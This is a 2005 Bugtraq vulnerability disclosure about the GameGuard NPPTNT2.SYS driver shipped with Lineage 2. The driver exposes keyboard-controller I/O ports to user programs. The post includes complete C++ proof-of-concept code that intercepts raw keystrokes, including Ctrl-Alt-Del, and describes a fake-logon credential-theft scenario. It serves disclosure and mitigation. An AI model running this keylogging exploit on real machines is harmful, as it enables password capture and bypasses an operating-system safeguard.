Bugtraq mailing list archives

Re: Unrestricted I/O access vulnerability in INCA Gameguard


From: David Roberts <david () howden demon co uk>
Date: 28 Jan 2005 18:45:00 -0000

In-Reply-To: <000001c4fc2b$bfd81820$6101a8c0@sauron>

On January 26 2005, NCsoft updated their Lineage 2 client for the North American and European market to include the 
GameGuard system.

The GameGuard system includes an updated version of the NPPTNT2.SYS driver (2005.1.5.1). The updated driver no longer 
opens all I/O ports on demand to a user mode process. However, it still opens two port ranges: 0x40-0x47 and 0x60-x067.

The port range 0x60-0x67 allows access to the 8042 keyboard and mouse controller. This access still represents a 
security vulnerability, as a trojan can use the driver to intercept all keyboard input to the system before the OS sees 
the input. This includes the Ctrl-Alt-Del Secure Attention Sequence, which is never passed to applications in the OS 
design.

Using GameGuard, a trojan could create a fake logon screen to the operating system, and get hold of usernames and 
passwords, and use those to elevate its privilege on the system. The operating system safeguard of pressing the Secure 
Attention Sequence Ctrl-Alt-Del to get to a genuine logon screen is bypassed.

The attached proof of concept code shows a simple program that intercepts 100 keyboard scan codes and displays them on 
screen. While the program is running, Ctrl-Alt-Del is intercepted by the program and does not bring up the security 
dialog or task manager.

Also, if the attached proof of concept code is run concurrently with Lineage 2 with Gameguard, the proof of concept 
program successfully intercepts all input. There is a risk that the proof of concept may have side effects such as 
disabling your mouse or resetting your computer, so please save any work before running it. The trade off is simplicity 
and clarity in the proof of concept.

In our testing we have found that PS/2 keyboards are affected as they use the 8042 controller, however USB keyboards 
are not as the OS uses the USB and HID driver stack to process input from them. We would recommend using a USB 
keyboard, and disconnecting it from the PS/2 port if it has both USB and PS/2 connections.

// NPPTNT2keylog.cpp : Defines the entry point for the console application.
//


#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers
#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include <winioctl.h>
#include <conio.h>


int main(int argc, char* argv[])
{
        puts("Opening \\\\.\\NPPTNT2\r");
        HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL, 0);

        if (hFile != INVALID_HANDLE_VALUE)
        {               
                puts("Calling DeviceIoControl\r");
                DWORD dwRet = 0;
                // Take this line out and the _inp will give you an AV
                DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);

                // Read the status register
                int StatusRegister = _inp(0x64);

                printf("Status Register: %02X\n", StatusRegister);

                // Output the read command byte command
                _outp(0x64, 0x20);

                // Read the command bytes
                int CurrentCommandByte = _inp(0x60);

                printf("Current Command Byte: %02X\n", CurrentCommandByte);

                // Disable interrupts by masking off bit 0
                CurrentCommandByte &= 0xFE;

                // Output the write command byte command
                _outp(0x64, 0x60);

                // Output the new command byte
                _outp(0x60, CurrentCommandByte);

                puts("Type now and try 'E' or 'J' to exit, or Ctrl-C\r");

                // Run for hundred scan codes or less
                // (arbitrary termination condition)
                for (int i = 0 ; i < 100; i++)
                {
                        // Wait on bit 0 to go high
                        while ((_inp(0x64) & 0x01) == 0);

                        // Read the scan code from the keyboard
                        int nVal = _inp(0x60);

                        // Scan code 0x24 - Either 'E' or 'J' depending
                        // on which set of scan codes the keyboard is using
                        // Exit early on this key
                        if (nVal == 0x24)
                                break;

                        // list out the hex value of the scan code
                        printf("0x%02X ", nVal);
                }

                CloseHandle(hFile);
        }
        else
        {
                puts("Driver not found\r");
        }

        return 0;
}




Current thread: